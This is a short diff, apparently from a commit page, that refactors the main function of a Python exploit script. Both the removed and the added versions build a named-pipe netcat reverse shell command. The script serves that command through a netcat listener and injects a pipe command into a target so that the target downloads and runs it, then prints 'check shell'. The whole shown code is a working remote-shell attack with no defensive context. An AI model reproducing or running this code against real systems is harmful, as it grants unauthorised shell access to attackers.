|
14 | 14 |
|
15 | 15 |
|
16 | 16 | def main():
|
17 | | - e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm= |
18 | | -p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE) |
19 | | - Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout) |
20 | | - send_payload(f"|nc {lhost} {payload_port}|sh") |
21 | | - print("done.. check shell") |
| 17 | + try: |
| 18 | + payload_command = f"rm /tmp/s && mknod /tmp/s p && /bin/sh 0< /tmp/s | nc {LOCAL_HOST} {LOCAL_PORT} > /tmp/s" |
| 19 | + with Popen(["echo", payload_command], stdout=PIPE) as e_proc: |
| 20 | + Popen(["nc", "-nlvp", f"{PAYLOAD_PORT}"], stdin=e_proc.stdout) |
| 21 | + send_payload(f"|nc {LOCAL_HOST} {PAYLOAD_PORT}|sh") |
| 22 | + print("done.. check shell") |
| 23 | + except Exception as e: |
| 24 | + print(f"An error occurred: {e}") |
| 25 | + |
22 | 26 |
|
23 | 27 |
|
24 | 28 | def get_session():
|
|
0 commit comments